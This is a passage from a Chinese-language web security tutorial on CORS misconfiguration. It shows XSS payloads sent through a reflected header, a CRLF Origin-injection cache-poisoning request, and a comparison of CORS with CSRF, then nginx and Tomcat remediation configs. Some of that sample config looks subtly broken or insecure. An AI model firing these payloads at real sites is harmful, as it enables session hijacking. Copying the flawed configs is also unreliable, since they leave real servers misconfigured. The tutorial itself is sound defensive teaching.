例如,数据报文头部中包含 X-User 标头,其值未进行任何输入验证,输出编码。

  1. 请求包
GET /login HTTP/1.1 
Host: www.target.local 
Origin: https://attacker.domain/ 
X-User: <svg/onload=alert(1)>
  1. 响应包 Access-Control-Allow-Origin 已被设置,Access-Control-Allow-Credentials: trueVary: Origin 头已经设置。
HTTP/1.1 200 OK 
Access-Control-Allow-Origin: https://attacker.domain/ Content-Type: text/html 
… 
Invalid user: <svg/onload=alert(1)>
  1. 构造存在恶意的 XSS 有效负载页面,诱使受害者触发。
var req = new XMLHttpRequest(); 
req.onload = reqListener; req.open('get','http://www.target.local/login',true); 
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send(); 
function reqListener() { 
    location='http://www.target.local/login'; 
}

服务器端缓存中毒

  • 利用 CORS 的错误配置注入任意 HTTP 头部,将其保存在服务器端缓存中,可用于构造存储类型 XSS。

  • 利用条件:存在服务器端缓存,能够反射 Origin 头部,不会检查 Origin 头部中的特殊字符,如 \r

  • 利用方式:攻击 IE / Edge 用户(IE / Edge 使用 \r 作为的 HTTP 标题段的终结符)

  1. 请求包
GET / HTTP/1.1 
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

回车(CR):ASCII 码:'\r' ,十六进制:0x0d

  1. 响应包
HTTP/1.1 200 OK 
Access-Control-Allow-Origin: z 
Content-Type: text/html; charset=UTF-7

如果攻击者能提前发送畸形的 Origin 消息头,则利用代理或命令行的方式发送,则服务器就会缓存这样的返回报文并作用于其他用户。上例中,攻击者将页面的编码设置为 UTF-7,可引发 XSS 中断。

配合 XSS 劫持会话

在正常的网页被嵌入了到攻击者控制页面的跨域请求,从而劫持用户的会话。

  1. 交互式 xss。通过 cors,绕过一些反会话劫持的方法,如 HTTP-Only 限制的 cookie,绑定 IP 地址的会话 ID 等,劫持用户会话。

  2. 程序猿在写 ajax 请求的时候,对目标域限制不严,有点类似于 url 跳转。

    facebook 出现过这样一个案例,javascript 通过 url 里的参数进行 ajax 请求。

CORS 与 CSRF 的区别

CORS 机制的目的是为了解决脚本的跨域资源请求问题,不是为了防止 CSRF。

CSRF 一般使用 form 表单提交请求,而浏览器是不会对 form 表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。

脚本的跨域请求在同源策略的限制下,响应会被拦截,即阻止获取响应,但是请求还是发送到了后端服务器

相同点:都需要第三方网站;都需要借助 Ajax 的异步加载过程;一般都需要用户登录目标站点。

不同点:一般 CORS 漏洞用于读取受害者的敏感信息,获取请求响应的内容;而 CSRF 则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。

0x06 修复方法

修复方法是合理配置 CORS,判断 Origin 是否合法;具体说就是不让在 nginx 或 tomcat 中配置【Access-Control-Allow-Origin *​​​​​】或【Access-Control-Allow-Origin null​​​​​】。

  • 关闭非正式开启的 CORS,不要信任全部自身子域,减少攻击面
  • 不要配置 Access-Control-Allow-Origin​​​ 为通配符 *​​​ 或 null​​​,严格校验来自请求数据包中 Origin​​​ 的值
  • 彻底的返回 Vary: Origin​​​ 右边,突破攻击者利用浏览器缓存进行攻击
  • 仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性
  • HTTPS 网站不要信任 HTTP 域
# 允许跨域请求的域,* 代表所有;null 可以用来和本地 file 页面共享数据
add_header 'Access-Control-Allow-Origin' *;

# 允许请求的 header
add_header 'Access-Control-Allow-Headers' *;

# 允许带上 cookie 请求,不能和允许跨域请求的域 * 一同使用,Origin 需要明确的配置允许来源的域。因为 * 这种配置只能用于共享公开资源,对于共享公开资源,不应该需要身份认证。
add_header 'Access-Control-Allow-Credentials' 'true';

# 允许请求的方法,比如 GET,POST,PUT,DELETE
add_header 'Access-Control-Allow-Methods' *;

修改 Nginx 配置文件

方法一:使用通配符 *​​

location / {
    add_header Access-Control-Allow-Origin *.xxx.com;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
}

方法二:指定域名白名单

根据错误配置类型,该方法有待确认。

# 使用域名
location / {
    add_header Access-Control-Allow-Origin http://www.xixixi123.com;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
}

# 指定 ip 与端口,可以逗号拼接
location / {
    add_header Access-Control-Allow-Origin http://10.130.222.222:6500,http://10.130.222.223:6500;
    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
}

方法三:使用正则表达式

location ~ /myurl(.*) {
    if ( $http_origin ~ '^http(s)?://(localhost|10\.130\.222\.222):6500$' {
        add_header Access-Control-Allow-Origin $http_origin;
    }
    if ( $http_origin ~ '^http(s)?://(localhost|10\.130\.222\.223):6500$' {
        add_header Access-Control-Allow-Origin $http_origin;
    }

    add_header Access-Control-Allow-Headers "Origin, X-Requested-With, Content-Type, Accept";
    add_header Access-Control-Allow-Methods "GET, POST, OPTIONS";
}

说明

  • ​$ http_origin​​ 可以获取到请求头中的 Origin 字段;但是如果请求头没有,就获取不到了;
  • ​^​​ 是正则表达式,表示开头位置;$​​ 是正则表达式,表示结尾位置
  • ?​​ 是正则表达式,表示 s 可能有,也可能没有,这两种情况都可以匹配
  • .​​​ 是把 .​​ 转义成普通字符的意思
  • nginx 中,if 后必须加空格,然后才能写 (​​,否则会报错;nginx 中,没有 else if
  • nginx 解决复杂请求跨域的时候需加上 aways 参数 eg:add_header 'Access-Control-Allow-Origin' "$http_origin" always;​​ 原因:As of Nginx 1.7.5, add_header supports an "always" parameter which ​allows CORS to work if the backend returns 4xx or 5xx status code.​​ 参考资料:https://gist.github.com/Stanback/7145487open in new window

白名单配置示例

Tomcat 过滤路由

package filter;

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Arrays;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.ws.http.HTTPException;

@WebFilter("/Cors")
public class CorsFilter implements Filter {

    /**
     * Default constructor.
     */
    public FilterConfig config;

    public CorsFilter() {
        // TODO Auto-generated constructor stub
    }

    /**
     * @see Filter#destroy()
     */
    public void destroy() {
        // TODO Auto-generated method stub
        this.config = null;
    }

    /**
     * @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain)
     */
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        //配置可信域名
        String[] authhosts = {"http://www.abc.com:8008", "http://www.abcyy.com"};
        String authost = "";
        HttpServletRequest httprequest = (HttpServletRequest) request;
        String origin = httprequest.getHeader("origin");
        HttpServletResponse httpresponse = (HttpServletResponse) response;
        if (origin != null && !Arrays.asList(authhosts).contains(origin)) {
            httpresponse.sendError(403);
            return;
        } else {
            for (int i = 0; i < authhosts.length; i++) {
                if (i != authhosts.length - 1) {
                    authost = authost + authhosts[i] + ",";
                } else {
                    authost = authost + authhosts[i];
                }
            }
            httpresponse.addHeader("Access-Control-Allow-Origin", authost);
            httpresponse.addHeader("Access-Control-Allow-Methods",
                    "GET, POST");
            httpresponse.addHeader("Access-Control-Allow-Headers",
                    "origin, content-type, accept, x-requested-with, sid, mycustom, smuser");
            chain.doFilter(request, response);
        }

    }


    @Override
    public void init(FilterConfig arg0) throws ServletException {
        // TODO 自动生成的方法存根
    }
}

另一种配置方式

  • 把 cors-filter-1.7.jar 与 java-property-utils-1.9.jar 这两个文件放到 tomcat 的 lib 目录下
  • 在 tomcat 的 web.xml 中配置
<filter>
  <filter-name>CORS</filter-name>
  <filter-class>com.thetransactioncompany.cors.CORSFilter</filter-class>
  <init-param>
    <param-name>cors.allowOrigin</param-name>
    <!-- <param-value>*</param-value> -->
    <!-- 允许访问的网站,多个时用逗号分隔,*代表允许所有 -->
    <param-value>*.xxx.com,http://10.130.222.222:6500</param-value> 
  </init-param>
    <init-param>
    <param-name>cors.exposedHeaders</param-name>
    <param-value>Set-Cookie</param-value> 
  </init-param>
      <init-param>
    <param-name>cors.supportsCredentials</param-name>
    <param-value>true</param-value> 
  </init-param>
</filter>
<filter-mapping>
  <filter-name>CORS</filter-name>
  <url-pattern>/*</urlpattern>
</filter-mapping>

0x07 优秀案例

0x00 前人栽树